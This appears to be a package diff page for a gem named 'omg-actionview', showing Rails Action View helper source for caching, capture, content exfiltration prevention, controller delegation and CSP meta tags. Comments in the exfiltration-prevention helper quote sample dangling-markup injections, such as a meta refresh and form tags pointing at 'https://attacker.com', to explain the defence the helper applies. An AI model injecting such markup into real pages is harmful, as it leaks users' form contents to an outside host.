omg-actionview 8.0.0.alpha1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (130) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +25 -0
  3. data/MIT-LICENSE +21 -0
  4. data/README.rdoc +40 -0
  5. data/app/assets/javascripts/rails-ujs.esm.js +686 -0
  6. data/app/assets/javascripts/rails-ujs.js +630 -0
  7. data/lib/action_view/base.rb +316 -0
  8. data/lib/action_view/buffers.rb +165 -0
  9. data/lib/action_view/cache_expiry.rb +69 -0
  10. data/lib/action_view/context.rb +32 -0
  11. data/lib/action_view/dependency_tracker/erb_tracker.rb +159 -0
  12. data/lib/action_view/dependency_tracker/ruby_tracker.rb +43 -0
  13. data/lib/action_view/dependency_tracker/wildcard_resolver.rb +32 -0
  14. data/lib/action_view/dependency_tracker.rb +41 -0
  15. data/lib/action_view/deprecator.rb +7 -0
  16. data/lib/action_view/digestor.rb +130 -0
  17. data/lib/action_view/flows.rb +75 -0
  18. data/lib/action_view/gem_version.rb +17 -0
  19. data/lib/action_view/helpers/active_model_helper.rb +54 -0
  20. data/lib/action_view/helpers/asset_tag_helper.rb +680 -0
  21. data/lib/action_view/helpers/asset_url_helper.rb +473 -0
  22. data/lib/action_view/helpers/atom_feed_helper.rb +205 -0
  23. data/lib/action_view/helpers/cache_helper.rb +315 -0
  24. data/lib/action_view/helpers/capture_helper.rb +236 -0
  25. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  26. data/lib/action_view/helpers/controller_helper.rb +42 -0
  27. data/lib/action_view/helpers/csp_helper.rb +26 -0
  28. data/lib/action_view/helpers/csrf_helper.rb +35 -0
  29. data/lib/action_view/helpers/date_helper.rb +1266 -0
  30. data/lib/action_view/helpers/debug_helper.rb +38 -0
  31. data/lib/action_view/helpers/form_helper.rb +2765 -0
  32. data/lib/action_view/helpers/form_options_helper.rb +927 -0
  33. data/lib/action_view/helpers/form_tag_helper.rb +1088 -0
  34. data/lib/action_view/helpers/javascript_helper.rb +96 -0
  35. data/lib/action_view/helpers/number_helper.rb +165 -0
  36. data/lib/action_view/helpers/output_safety_helper.rb +70 -0
  37. data/lib/action_view/helpers/rendering_helper.rb +218 -0
  38. data/lib/action_view/helpers/sanitize_helper.rb +201 -0
  39. data/lib/action_view/helpers/tag_helper.rb +621 -0
  40. data/lib/action_view/helpers/tags/base.rb +138 -0
  41. data/lib/action_view/helpers/tags/check_box.rb +65 -0
  42. data/lib/action_view/helpers/tags/checkable.rb +18 -0
  43. data/lib/action_view/helpers/tags/collection_check_boxes.rb +37 -0
  44. data/lib/action_view/helpers/tags/collection_helpers.rb +118 -0
  45. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +31 -0
  46. data/lib/action_view/helpers/tags/collection_select.rb +33 -0
  47. data/lib/action_view/helpers/tags/color_field.rb +26 -0
  48. data/lib/action_view/helpers/tags/date_field.rb +14 -0
  49. data/lib/action_view/helpers/tags/date_select.rb +75 -0
  50. data/lib/action_view/helpers/tags/datetime_field.rb +39 -0
  51. data/lib/action_view/helpers/tags/datetime_local_field.rb +29 -0
  52. data/lib/action_view/helpers/tags/datetime_select.rb +10 -0
  53. data/lib/action_view/helpers/tags/email_field.rb +10 -0
  54. data/lib/action_view/helpers/tags/file_field.rb +26 -0
  55. data/lib/action_view/helpers/tags/grouped_collection_select.rb +34 -0
  56. data/lib/action_view/helpers/tags/hidden_field.rb +14 -0
  57. data/lib/action_view/helpers/tags/label.rb +84 -0
  58. data/lib/action_view/helpers/tags/month_field.rb +14 -0
  59. data/lib/action_view/helpers/tags/number_field.rb +20 -0
  60. data/lib/action_view/helpers/tags/password_field.rb +14 -0
  61. data/lib/action_view/helpers/tags/placeholderable.rb +24 -0
  62. data/lib/action_view/helpers/tags/radio_button.rb +32 -0
  63. data/lib/action_view/helpers/tags/range_field.rb +10 -0
  64. data/lib/action_view/helpers/tags/search_field.rb +27 -0
  65. data/lib/action_view/helpers/tags/select.rb +45 -0
  66. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  67. data/lib/action_view/helpers/tags/tel_field.rb +10 -0
  68. data/lib/action_view/helpers/tags/text_area.rb +24 -0
  69. data/lib/action_view/helpers/tags/text_field.rb +33 -0
  70. data/lib/action_view/helpers/tags/time_field.rb +23 -0
  71. data/lib/action_view/helpers/tags/time_select.rb +10 -0
  72. data/lib/action_view/helpers/tags/time_zone_select.rb +25 -0
  73. data/lib/action_view/helpers/tags/translator.rb +39 -0
  74. data/lib/action_view/helpers/tags/url_field.rb +10 -0
  75. data/lib/action_view/helpers/tags/week_field.rb +14 -0
  76. data/lib/action_view/helpers/tags/weekday_select.rb +31 -0
  77. data/lib/action_view/helpers/tags.rb +47 -0
  78. data/lib/action_view/helpers/text_helper.rb +568 -0
  79. data/lib/action_view/helpers/translation_helper.rb +161 -0
  80. data/lib/action_view/helpers/url_helper.rb +812 -0
  81. data/lib/action_view/helpers.rb +68 -0
  82. data/lib/action_view/layouts.rb +434 -0
  83. data/lib/action_view/locale/en.yml +56 -0
  84. data/lib/action_view/log_subscriber.rb +132 -0
  85. data/lib/action_view/lookup_context.rb +299 -0
  86. data/lib/action_view/model_naming.rb +14 -0
  87. data/lib/action_view/path_registry.rb +57 -0
  88. data/lib/action_view/path_set.rb +84 -0
  89. data/lib/action_view/railtie.rb +132 -0
  90. data/lib/action_view/record_identifier.rb +118 -0
  91. data/lib/action_view/render_parser/prism_render_parser.rb +139 -0
  92. data/lib/action_view/render_parser/ripper_render_parser.rb +350 -0
  93. data/lib/action_view/render_parser.rb +40 -0
  94. data/lib/action_view/renderer/abstract_renderer.rb +186 -0
  95. data/lib/action_view/renderer/collection_renderer.rb +204 -0
  96. data/lib/action_view/renderer/object_renderer.rb +34 -0
  97. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +120 -0
  98. data/lib/action_view/renderer/partial_renderer.rb +267 -0
  99. data/lib/action_view/renderer/renderer.rb +107 -0
  100. data/lib/action_view/renderer/streaming_template_renderer.rb +107 -0
  101. data/lib/action_view/renderer/template_renderer.rb +115 -0
  102. data/lib/action_view/rendering.rb +190 -0
  103. data/lib/action_view/routing_url_for.rb +149 -0
  104. data/lib/action_view/tasks/cache_digests.rake +25 -0
  105. data/lib/action_view/template/error.rb +264 -0
  106. data/lib/action_view/template/handlers/builder.rb +25 -0
  107. data/lib/action_view/template/handlers/erb/erubi.rb +85 -0
  108. data/lib/action_view/template/handlers/erb.rb +157 -0
  109. data/lib/action_view/template/handlers/html.rb +11 -0
  110. data/lib/action_view/template/handlers/raw.rb +11 -0
  111. data/lib/action_view/template/handlers.rb +66 -0
  112. data/lib/action_view/template/html.rb +33 -0
  113. data/lib/action_view/template/inline.rb +22 -0
  114. data/lib/action_view/template/raw_file.rb +25 -0
  115. data/lib/action_view/template/renderable.rb +30 -0
  116. data/lib/action_view/template/resolver.rb +212 -0
  117. data/lib/action_view/template/sources/file.rb +17 -0
  118. data/lib/action_view/template/sources.rb +13 -0
  119. data/lib/action_view/template/text.rb +32 -0
  120. data/lib/action_view/template/types.rb +50 -0
  121. data/lib/action_view/template.rb +580 -0
  122. data/lib/action_view/template_details.rb +66 -0
  123. data/lib/action_view/template_path.rb +66 -0
  124. data/lib/action_view/test_case.rb +449 -0
  125. data/lib/action_view/testing/resolvers.rb +44 -0
  126. data/lib/action_view/unbound_template.rb +67 -0
  127. data/lib/action_view/version.rb +10 -0
  128. data/lib/action_view/view_paths.rb +117 -0
  129. data/lib/action_view.rb +104 -0
  130. metadata +275 -0
@@ -0,0 +1,315 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers # :nodoc:
5
+ # = Action View Cache \Helpers
6
+ module CacheHelper
7
+ class UncacheableFragmentError < StandardError; end
8
+
9
+ # This helper exposes a method for caching fragments of a view
10
+ # rather than an entire action or page. This technique is useful
11
+ # caching pieces like menus, lists of new topics, static HTML
12
+ # fragments, and so on. This method takes a block that contains
13
+ # the content you wish to cache.
14
+ #
15
+ # The best way to use this is by doing recyclable key-based cache expiration
16
+ # on top of a cache store like Memcached or Redis that'll automatically
17
+ # kick out old entries.
18
+ #
19
+ # When using this method, you list the cache dependency as the name of the cache, like so:
20
+ #
21
+ # <% cache project do %>
22
+ # <b>All the topics on this project</b>
23
+ # <%= render project.topics %>
24
+ # <% end %>
25
+ #
26
+ # This approach will assume that when a new topic is added, you'll touch
27
+ # the project. The cache key generated from this call will be something like:
28
+ #
29
+ # views/template/action:7a1156131a6928cb0026877f8b749ac9/projects/123
30
+ # ^template path ^template tree digest ^class ^id
31
+ #
32
+ # This cache key is stable, but it's combined with a cache version derived from the project
33
+ # record. When the project updated_at is touched, the #cache_version changes, even
34
+ # if the key stays stable. This means that unlike a traditional key-based cache expiration
35
+ # approach, you won't be generating cache trash, unused keys, simply because the dependent
36
+ # record is updated.
37
+ #
38
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
39
+ # you can name all these dependencies as part of an array:
40
+ #
41
+ # <% cache [ project, current_user ] do %>
42
+ # <b>All the topics on this project</b>
43
+ # <%= render project.topics %>
44
+ # <% end %>
45
+ #
46
+ # This will include both records as part of the cache key and updating either of them will
47
+ # expire the cache.
48
+ #
49
+ # ==== \Template digest
50
+ #
51
+ # The template digest that's added to the cache key is computed by taking an MD5 of the
52
+ # contents of the entire template file. This ensures that your caches will automatically
53
+ # expire when you change the template file.
54
+ #
55
+ # Note that the MD5 is taken of the entire template file, not just what's within the
56
+ # cache do/end call. So it's possible that changing something outside of that call will
57
+ # still expire the cache.
58
+ #
59
+ # Additionally, the digestor will automatically look through your template file for
60
+ # explicit and implicit dependencies, and include those as part of the digest.
61
+ #
62
+ # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
63
+ #
64
+ # <% cache project, skip_digest: true do %>
65
+ # <b>All the topics on this project</b>
66
+ # <%= render project.topics %>
67
+ # <% end %>
68
+ #
69
+ # ==== Implicit dependencies
70
+ #
71
+ # Most template dependencies can be derived from calls to render in the template itself.
72
+ # Here are some examples of render calls that Cache Digests knows how to decode:
73
+ #
74
+ # render partial: "comments/comment", collection: commentable.comments
75
+ # render "comments/comments"
76
+ # render 'comments/comments'
77
+ # render('comments/comments')
78
+ #
79
+ # render "header" # translates to render("comments/header")
80
+ #
81
+ # render(@topic) # translates to render("topics/topic")
82
+ # render(topics) # translates to render("topics/topic")
83
+ # render(message.topics) # translates to render("topics/topic")
84
+ #
85
+ # It's not possible to derive all render calls like that, though.
86
+ # Here are a few examples of things that can't be derived:
87
+ #
88
+ # render group_of_attachments
89
+ # render @project.documents.where(published: true).order('created_at')
90
+ #
91
+ # You will have to rewrite those to the explicit form:
92
+ #
93
+ # render partial: 'attachments/attachment', collection: group_of_attachments
94
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
95
+ #
96
+ # One last type of dependency can be determined implicitly:
97
+ #
98
+ # render "maintenance_tasks/runs/info/#{run.status}"
99
+ #
100
+ # Because the value passed to render ends in interpolation, Action View
101
+ # will mark all partials within the "maintenace_tasks/runs/info" folder as
102
+ # dependencies.
103
+ #
104
+ # === Explicit dependencies
105
+ #
106
+ # Sometimes you'll have template dependencies that can't be derived at all. This is typically
107
+ # the case when you have template rendering that happens in helpers. Here's an example:
108
+ #
109
+ # <%= render_sortable_todolists @project.todolists %>
110
+ #
111
+ # You'll need to use a special comment format to call those out:
112
+ #
113
+ # <%# Template Dependency: todolists/todolist %>
114
+ # <%= render_sortable_todolists @project.todolists %>
115
+ #
116
+ # In some cases, like a single table inheritance setup, you might have
117
+ # a bunch of explicit dependencies. Instead of writing every template out,
118
+ # you can use a wildcard to match any template in a directory:
119
+ #
120
+ # <%# Template Dependency: events/* %>
121
+ # <%= render_categorizable_events @person.events %>
122
+ #
123
+ # This marks every template in the directory as a dependency. To find those
124
+ # templates, the wildcard path must be absolutely defined from <tt>app/views</tt> or paths
125
+ # otherwise added with +prepend_view_path+ or +append_view_path+.
126
+ # This way the wildcard for <tt>app/views/recordings/events</tt> would be <tt>recordings/events/*</tt> etc.
127
+ #
128
+ # The pattern used to match explicit dependencies is <tt>/# Template Dependency: (\S+)/</tt>,
129
+ # so it's important that you type it out just so.
130
+ # You can only declare one template dependency per line.
131
+ #
132
+ # === External dependencies
133
+ #
134
+ # If you use a helper method, for example, inside a cached block and
135
+ # you then update that helper, you'll have to bump the cache as well.
136
+ # It doesn't really matter how you do it, but the MD5 of the template file
137
+ # must change. One recommendation is to simply be explicit in a comment, like:
138
+ #
139
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
140
+ # <%= some_helper_method(person) %>
141
+ #
142
+ # Now all you have to do is change that timestamp when the helper method changes.
143
+ #
144
+ # === Collection Caching
145
+ #
146
+ # When rendering a collection of objects that each use the same partial, a <tt>:cached</tt>
147
+ # option can be passed.
148
+ #
149
+ # For collections rendered such:
150
+ #
151
+ # <%= render partial: 'projects/project', collection: @projects, cached: true %>
152
+ #
153
+ # The <tt>cached: true</tt> will make Action View's rendering read several templates
154
+ # from cache at once instead of one call per template.
155
+ #
156
+ # Templates in the collection not already cached are written to cache.
157
+ #
158
+ # Works great alongside individual template fragment caching.
159
+ # For instance if the template the collection renders is cached like:
160
+ #
161
+ # # projects/_project.html.erb
162
+ # <% cache project do %>
163
+ # <%# ... %>
164
+ # <% end %>
165
+ #
166
+ # Any collection renders will find those cached templates when attempting
167
+ # to read multiple templates at once.
168
+ #
169
+ # If your collection cache depends on multiple sources (try to avoid this to keep things simple),
170
+ # you can name all these dependencies as part of a block that returns an array:
171
+ #
172
+ # <%= render partial: 'projects/project', collection: @projects, cached: -> project { [ project, current_user ] } %>
173
+ #
174
+ # This will include both records as part of the cache key and updating either of them will
175
+ # expire the cache.
176
+ def cache(name = {}, options = {}, &block)
177
+ if controller.respond_to?(:perform_caching) && controller.perform_caching
178
+ CachingRegistry.track_caching do
179
+ name_options = options.slice(:skip_digest)
180
+ safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
181
+ end
182
+ else
183
+ yield
184
+ end
185
+
186
+ nil
187
+ end
188
+
189
+ # Returns whether the current view fragment is within a +cache+ block.
190
+ #
191
+ # Useful when certain fragments aren't cacheable:
192
+ #
193
+ # <% cache project do %>
194
+ # <% raise StandardError, "Caching private data!" if caching? %>
195
+ # <% end %>
196
+ def caching?
197
+ CachingRegistry.caching?
198
+ end
199
+
200
+ # Raises +UncacheableFragmentError+ when called from within a +cache+ block.
201
+ #
202
+ # Useful to denote helper methods that can't participate in fragment caching:
203
+ #
204
+ # def project_name_with_time(project)
205
+ # uncacheable!
206
+ # "#{project.name} - #{Time.now}"
207
+ # end
208
+ #
209
+ # # Which will then raise if used within a +cache+ block:
210
+ # <% cache project do %>
211
+ # <%= project_name_with_time(project) %>
212
+ # <% end %>
213
+ def uncacheable!
214
+ raise UncacheableFragmentError, "can't be fragment cached" if caching?
215
+ end
216
+
217
+ # Cache fragments of a view if +condition+ is true
218
+ #
219
+ # <% cache_if admin?, project do %>
220
+ # <b>All the topics on this project</b>
221
+ # <%= render project.topics %>
222
+ # <% end %>
223
+ def cache_if(condition, name = {}, options = {}, &block)
224
+ if condition
225
+ cache(name, options, &block)
226
+ else
227
+ yield
228
+ end
229
+
230
+ nil
231
+ end
232
+
233
+ # Cache fragments of a view unless +condition+ is true
234
+ #
235
+ # <% cache_unless admin?, project do %>
236
+ # <b>All the topics on this project</b>
237
+ # <%= render project.topics %>
238
+ # <% end %>
239
+ def cache_unless(condition, name = {}, options = {}, &block)
240
+ cache_if !condition, name, options, &block
241
+ end
242
+
243
+ # This helper returns the name of a cache key for a given fragment cache
244
+ # call. By supplying <tt>skip_digest: true</tt> to cache, the digestion of cache
245
+ # fragments can be manually bypassed. This is useful when cache fragments
246
+ # cannot be manually expired unless you know the exact key which is the
247
+ # case when using memcached.
248
+ def cache_fragment_name(name = {}, skip_digest: nil, digest_path: nil)
249
+ if skip_digest
250
+ name
251
+ else
252
+ fragment_name_with_digest(name, digest_path)
253
+ end
254
+ end
255
+
256
+ def digest_path_from_template(template) # :nodoc:
257
+ digest = Digestor.digest(name: template.virtual_path, format: template.format, finder: lookup_context, dependencies: view_cache_dependencies)
258
+
259
+ if digest.present?
260
+ "#{template.virtual_path}:#{digest}"
261
+ else
262
+ template.virtual_path
263
+ end
264
+ end
265
+
266
+ private
267
+ def fragment_name_with_digest(name, digest_path)
268
+ name = controller.url_for(name).split("://").last if name.is_a?(Hash)
269
+
270
+ if @current_template&.virtual_path || digest_path
271
+ digest_path ||= digest_path_from_template(@current_template)
272
+ [ digest_path, name ]
273
+ else
274
+ name
275
+ end
276
+ end
277
+
278
+ def fragment_for(name = {}, options = nil, &block)
279
+ if content = read_fragment_for(name, options)
280
+ @view_renderer.cache_hits[@current_template&.virtual_path] = :hit if defined?(@view_renderer)
281
+ content
282
+ else
283
+ @view_renderer.cache_hits[@current_template&.virtual_path] = :miss if defined?(@view_renderer)
284
+ write_fragment_for(name, options, &block)
285
+ end
286
+ end
287
+
288
+ def read_fragment_for(name, options)
289
+ controller.read_fragment(name, options)
290
+ end
291
+
292
+ def write_fragment_for(name, options, &block)
293
+ fragment = output_buffer.capture(&block)
294
+ controller.write_fragment(name, fragment, options)
295
+ end
296
+
297
+ module CachingRegistry # :nodoc:
298
+ extend self
299
+
300
+ def caching?
301
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] ||= false
302
+ end
303
+
304
+ def track_caching
305
+ caching_was = ActiveSupport::IsolatedExecutionState[:action_view_caching]
306
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = true
307
+
308
+ yield
309
+ ensure
310
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = caching_was
311
+ end
312
+ end
313
+ end
314
+ end
315
+ end
@@ -0,0 +1,236 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "active_support/core_ext/string/output_safety"
4
+
5
+ module ActionView
6
+ module Helpers # :nodoc:
7
+ # = Action View Capture \Helpers
8
+ #
9
+ # \CaptureHelper exposes methods to let you extract generated markup which
10
+ # can be used in other parts of a template or layout file.
11
+ #
12
+ # It provides a method to capture blocks into variables through #capture and
13
+ # a way to capture a block of markup for use in a layout through #content_for.
14
+ #
15
+ # As well as provides a method when using streaming responses through #provide.
16
+ # See ActionController::Streaming for more information.
17
+ module CaptureHelper
18
+ # The capture method extracts part of a template as a string object.
19
+ # You can then use this object anywhere in your templates, layout, or helpers.
20
+ #
21
+ # The capture method can be used in \ERB templates...
22
+ #
23
+ # <% @greeting = capture do %>
24
+ # Welcome to my shiny new web page! The date and time is
25
+ # <%= Time.now %>
26
+ # <% end %>
27
+ #
28
+ # ...and Builder (RXML) templates.
29
+ #
30
+ # @timestamp = capture do
31
+ # "The current timestamp is #{Time.now}."
32
+ # end
33
+ #
34
+ # You can then use that variable anywhere else. For example:
35
+ #
36
+ # <html>
37
+ # <head><title><%= @greeting %></title></head>
38
+ # <body>
39
+ # <b><%= @greeting %></b>
40
+ # </body>
41
+ # </html>
42
+ #
43
+ # The return of capture is the string generated by the block. For Example:
44
+ #
45
+ # @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
46
+ #
47
+ def capture(*args, &block)
48
+ value = nil
49
+ @output_buffer ||= ActionView::OutputBuffer.new
50
+ buffer = @output_buffer.capture { value = yield(*args) }
51
+
52
+ string = if @output_buffer.equal?(value)
53
+ buffer
54
+ else
55
+ buffer.presence || value
56
+ end
57
+
58
+ case string
59
+ when OutputBuffer
60
+ string.to_s
61
+ when ActiveSupport::SafeBuffer
62
+ string
63
+ when String
64
+ ERB::Util.html_escape(string)
65
+ end
66
+ end
67
+
68
+ # Calling <tt>content_for</tt> stores a block of markup in an identifier for later use.
69
+ # In order to access this stored content in other templates, helper modules
70
+ # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
71
+ #
72
+ # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
73
+ # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
74
+ #
75
+ # <% content_for :not_authorized do %>
76
+ # alert('You are not authorized to do that!')
77
+ # <% end %>
78
+ #
79
+ # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
80
+ #
81
+ # <%= content_for :not_authorized if current_user.nil? %>
82
+ #
83
+ # This is equivalent to:
84
+ #
85
+ # <%= yield :not_authorized if current_user.nil? %>
86
+ #
87
+ # <tt>content_for</tt>, however, can also be used in helper modules.
88
+ #
89
+ # module StorageHelper
90
+ # def stored_content
91
+ # content_for(:storage) || "Your storage is empty"
92
+ # end
93
+ # end
94
+ #
95
+ # This helper works just like normal helpers.
96
+ #
97
+ # <%= stored_content %>
98
+ #
99
+ # You can also use the <tt>yield</tt> syntax alongside an existing call to
100
+ # <tt>yield</tt> in a layout. For example:
101
+ #
102
+ # <%# This is the layout %>
103
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
104
+ # <head>
105
+ # <title>My Website</title>
106
+ # <%= yield :script %>
107
+ # </head>
108
+ # <body>
109
+ # <%= yield %>
110
+ # </body>
111
+ # </html>
112
+ #
113
+ # And now, we'll create a view that has a <tt>content_for</tt> call that
114
+ # creates the <tt>script</tt> identifier.
115
+ #
116
+ # <%# This is our view %>
117
+ # Please login!
118
+ #
119
+ # <% content_for :script do %>
120
+ # <script>alert('You are not authorized to view this page!')</script>
121
+ # <% end %>
122
+ #
123
+ # Then, in another view, you could to do something like this:
124
+ #
125
+ # <%= link_to 'Logout', action: 'logout', remote: true %>
126
+ #
127
+ # <% content_for :script do %>
128
+ # <%= javascript_include_tag :defaults %>
129
+ # <% end %>
130
+ #
131
+ # That will place +script+ tags for your default set of JavaScript files on the page;
132
+ # this technique is useful if you'll only be using these scripts in a few views.
133
+ #
134
+ # Note that <tt>content_for</tt> concatenates (default) the blocks it is given for a particular
135
+ # identifier in order. For example:
136
+ #
137
+ # <% content_for :navigation do %>
138
+ # <li><%= link_to 'Home', action: 'index' %></li>
139
+ # <% end %>
140
+ #
141
+ # And in another place:
142
+ #
143
+ # <% content_for :navigation do %>
144
+ # <li><%= link_to 'Login', action: 'login' %></li>
145
+ # <% end %>
146
+ #
147
+ # Then, in another template or layout, this code would render both links in order:
148
+ #
149
+ # <ul><%= content_for :navigation %></ul>
150
+ #
151
+ # If the flush parameter is +true+ <tt>content_for</tt> replaces the blocks it is given. For example:
152
+ #
153
+ # <% content_for :navigation do %>
154
+ # <li><%= link_to 'Home', action: 'index' %></li>
155
+ # <% end %>
156
+ #
157
+ # <%# Add some other content, or use a different template: %>
158
+ #
159
+ # <% content_for :navigation, flush: true do %>
160
+ # <li><%= link_to 'Login', action: 'login' %></li>
161
+ # <% end %>
162
+ #
163
+ # Then, in another template or layout, this code would render only the last link:
164
+ #
165
+ # <ul><%= content_for :navigation %></ul>
166
+ #
167
+ # Lastly, simple content can be passed as a parameter:
168
+ #
169
+ # <% content_for :script, javascript_include_tag(:defaults) %>
170
+ #
171
+ # WARNING: <tt>content_for</tt> is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
172
+ def content_for(name, content = nil, options = {}, &block)
173
+ if content || block_given?
174
+ if block_given?
175
+ options = content if content
176
+ content = capture(&block)
177
+ end
178
+ if content
179
+ options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
180
+ end
181
+ nil
182
+ else
183
+ @view_flow.get(name).presence
184
+ end
185
+ end
186
+
187
+ # The same as +content_for+ but when used with streaming flushes
188
+ # straight back to the layout. In other words, if you want to
189
+ # concatenate several times to the same buffer when rendering a given
190
+ # template, you should use +content_for+, if not, use +provide+ to tell
191
+ # the layout to stop looking for more contents.
192
+ #
193
+ # See ActionController::Streaming for more information.
194
+ def provide(name, content = nil, &block)
195
+ content = capture(&block) if block_given?
196
+ result = @view_flow.append!(name, content) if content
197
+ result unless content
198
+ end
199
+
200
+ # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
201
+ #
202
+ # Useful to render parts of your layout differently based on what is in your views.
203
+ #
204
+ # <%# This is the layout %>
205
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
206
+ # <head>
207
+ # <title>My Website</title>
208
+ # <%= yield :script %>
209
+ # </head>
210
+ # <body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
211
+ # <%= yield %>
212
+ # <%= yield :right_col %>
213
+ # </body>
214
+ # </html>
215
+ def content_for?(name)
216
+ @view_flow.get(name).present?
217
+ end
218
+
219
+ # Use an alternate output buffer for the duration of the block.
220
+ # Defaults to a new empty string.
221
+ def with_output_buffer(buf = nil) # :nodoc:
222
+ unless buf
223
+ buf = ActionView::OutputBuffer.new
224
+ if output_buffer && output_buffer.respond_to?(:encoding)
225
+ buf.force_encoding(output_buffer.encoding)
226
+ end
227
+ end
228
+ self.output_buffer, old_buffer = buf, output_buffer
229
+ yield
230
+ output_buffer
231
+ ensure
232
+ self.output_buffer = old_buffer
233
+ end
234
+ end
235
+ end
236
+ end
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -0,0 +1,42 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "active_support/core_ext/module/attr_internal"
4
+
5
+ module ActionView
6
+ module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
9
+ # This module keeps all methods and behavior in ActionView
10
+ # that simply delegates to the controller.
11
+ module ControllerHelper # :nodoc:
12
+ attr_internal :controller, :request
13
+
14
+ CONTROLLER_DELEGATES = [:request_forgery_protection_token, :params,
15
+ :session, :cookies, :response, :headers, :flash, :action_name,
16
+ :controller_name, :controller_path]
17
+
18
+ delegate(*CONTROLLER_DELEGATES, to: :controller)
19
+
20
+ def assign_controller(controller)
21
+ if @_controller = controller
22
+ @_request = controller.request if controller.respond_to?(:request)
23
+ @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
24
+ @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
29
+ end
30
+ end
31
+
32
+ def logger
33
+ controller.logger if controller.respond_to?(:logger)
34
+ end
35
+
36
+ def respond_to?(method_name, include_private = false)
37
+ return controller.respond_to?(method_name) if CONTROLLER_DELEGATES.include?(method_name.to_sym)
38
+ super
39
+ end
40
+ end
41
+ end
42
+ end
@@ -0,0 +1,26 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
+ module CspHelper
7
+ # Returns a meta tag "csp-nonce" with the per-session nonce value
8
+ # for allowing inline <script> tags.
9
+ #
10
+ # <head>
11
+ # <%= csp_meta_tag %>
12
+ # </head>
13
+ #
14
+ # This is used by the \Rails UJS helper to create dynamically
15
+ # loaded inline <script> elements.
16
+ #
17
+ def csp_meta_tag(**options)
18
+ if content_security_policy?
19
+ options[:name] = "csp-nonce"
20
+ options[:content] = content_security_policy_nonce
21
+ tag("meta", options)
22
+ end
23
+ end
24
+ end
25
+ end
26
+ end